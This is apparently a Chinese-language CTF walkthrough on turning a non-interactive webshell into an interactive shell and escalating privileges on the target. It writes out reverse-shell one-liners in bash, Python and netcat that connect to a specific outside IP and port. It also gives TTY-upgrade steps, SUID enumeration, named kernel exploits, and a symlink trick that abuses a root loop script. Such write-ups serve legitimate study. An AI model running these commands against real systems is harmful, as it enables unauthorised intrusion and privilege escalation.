建立更强shell

Webshell(如蚁剑、冰蝎、哥斯拉)通常是非交互式的,很多提权命令(如 su、sudo、以及某些这就 Exploit)无法正常执行。
首要任务: 尝试反弹一个交互式 Shell (Reverse Shell)。

常规反弹:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1
bash -c ‘bash -i >& /dev/tcp/139.159.230.135/8008 0>&1’

使用 Python 反弹:
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“139.159.230.135”,8008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“139.159.230.135”,8008));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,”-i”]);’

nc连接:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 139.159.230.135 8008 >/tmp/f
解释:这利用了 nc (netcat) 进行连接,即便 nc 不支持 -e 参数也能生效。

报错分析:
bash -i >& /dev/tcp/攻击机IP/端口 0>&1

报错信息 /bin/sh: 1: Syntax error: Bad fd number 揭示了根本原因: 当前环境默认的 Shell 是 Dash(Debian/Ubuntu 默认将 /bin/sh 软连接到 dash),而不是 Bash。
Dash 是一个轻量级 Shell,它不支持 >& 这种重定向写法,也不支持 /dev/tcp/ 这种 Bash 特有的伪设备通信方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
刚反弹回来的 Shell 通常很脆弱,按 Ctrl+C 会直接断开连接,也不能运行 su 或 sudo 等交互式命令。我们需要把它升级成一个“完全体”终端。

script /dev/null -c bash
如果不报错,你会发现你的 Shell 提示符变了,这时候再按 Ctrl+Z 试试(如果能挂起而不是退出,说明升级成功)。
[1]+ Stopped nc -lvnp 8008
nc 进程挂起到后台了(Stopped 状态)

输入:
stty raw -echo; fg
(解释:这句话的意思是设置为原始模式,不回显输入,然后把挂起的 nc 调回前台。)
输入完上面的命令后,你可能看不到光标或者输入的内容,别担心,直接按两下回车。
export TERM=xterm
(解释:告诉靶机你是一个标准的 xterm 终端,这样 clear 和 vi 就能用了。)
export PS1='$ '
你的提示符会变成一个简洁的 $,再也不会有那一长串字符挡着你了。

stty raw -echo; fg
export TERM=xterm
export PS1='$ '

“楼梯状”输出:
stty sane
(盲打)

提权三板斧:

1
2
3
sudo -l
find / -perm -u=s -type f 2>/dev/null
getcap -r / 2>/dev/null

返回报错:
bash: sudo: command not found
Sudo 提权这条路断了。 目标机器是个精简容器,根本没装 sudo

内核漏洞 (Kernel Exploit):

1
2
3
4
5
6
7
8

uname -a

Dirty Pipe (CVE-2022-0847): 如果内核版本在 5.8 到 5.16.11 之间,这是目前 CTF 中最常见的秒杀级提权。

Dirty COW (CVE-2016-5195): 如果内核很老(2.6.22 - 3.9)。

PwnKit (CVE-2021-4034): pkexec (通常不在那个 SUID 列表里),但确认一下版本总没坏处

劫持进程:

下面举一个题目的例子
ps -ef
如果 ps 命令不存在,试试 cat /proc/sched_debug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
UID          PID    PPID  C STIME TTY          TIME CMD
root 1 0 0 08:28 ? 00:00:00 apache2 -DFOREGROUND
root 7 1 0 08:28 ? 00:00:00 /bin/bash /start.sh
www-data 25 1 0 08:28 ? 00:00:00 apache2 -DFOREGROUND
www-data 130 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 133 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 134 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 138 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 141 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 143 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 144 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 152 1 0 08:30 ? 00:00:00 apache2 -DFOREGROUND
www-data 177 1 0 08:31 ? 00:00:00 apache2 -DFOREGROUND
www-data 1114 133 0 08:54 ? 00:00:00 sh -c /bin/sh -c "cd "/var/w
www-data 1115 1114 0 08:54 ? 00:00:00 /bin/sh -c cd /var/www/html;
www-data 1116 1115 0 08:54 ? 00:00:00 bash -c bash -i >& /dev/tcp/
www-data 1117 1116 0 08:54 ? 00:00:00 bash -i
www-data 1151 1117 0 08:55 ? 00:00:00 script /dev/null -c bash
www-data 1152 1151 0 08:55 pts/0 00:00:00 sh -c bash
www-data 1153 1152 0 08:55 pts/0 00:00:00 bash
root 1745 7 0 09:10 ? 00:00:00 sleep 5s
www-data 1746 1153 0 09:11 pts/0 00:00:00 ps -ef

例如:

1
2
root           7       1  0 08:28 ?        00:00:00 /bin/bash /start.sh
root 1745 7 0 09:10 ? 00:00:00 sleep 5s它的子进程是 sleep 5s,这说明这个脚本在执行一个无限循环(跑完任务 -> 睡5秒 -> 再跑任务)。

ls -l /start.sh

如果上面的命令显示你有写权限,直接把“修改 Flag 权限”的命令追加到脚本里。

echo “chmod 777 /flag” >> /start.sh

那么接下来怎么做呢

1
2
3
4
5
6
7
8
9
10
$ cat /start.sh

#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/marstream/
chmod 755 -R /var/www/html/marstream/
sleep 5s
done &

cp -P * …: 从 primary 复制文件到 marstream。-P 意味着如果遇到符号链接(Symlink),它会原样复制链接,而不是复制链接指向的文件。
chmod 755 -R …: 递归修改 marstream 目录下所有文件的权限为 755(可读可执行)。

我们需要删掉原本的 marstream 目录,并把它变成一个指向根目录 / 的软链接。

  1. 删除目标目录
    rm -rf /var/www/html/marstream
  2. 创建软链接,让 marstream 指向根目录 /
    ln -s / /var/www/html/marstream

3.或者利用 Linux 的硬链接机制
ln /flag /var/www/html/primary/myflag

如果攻击成功,/flag 的权限应该已经变成了 755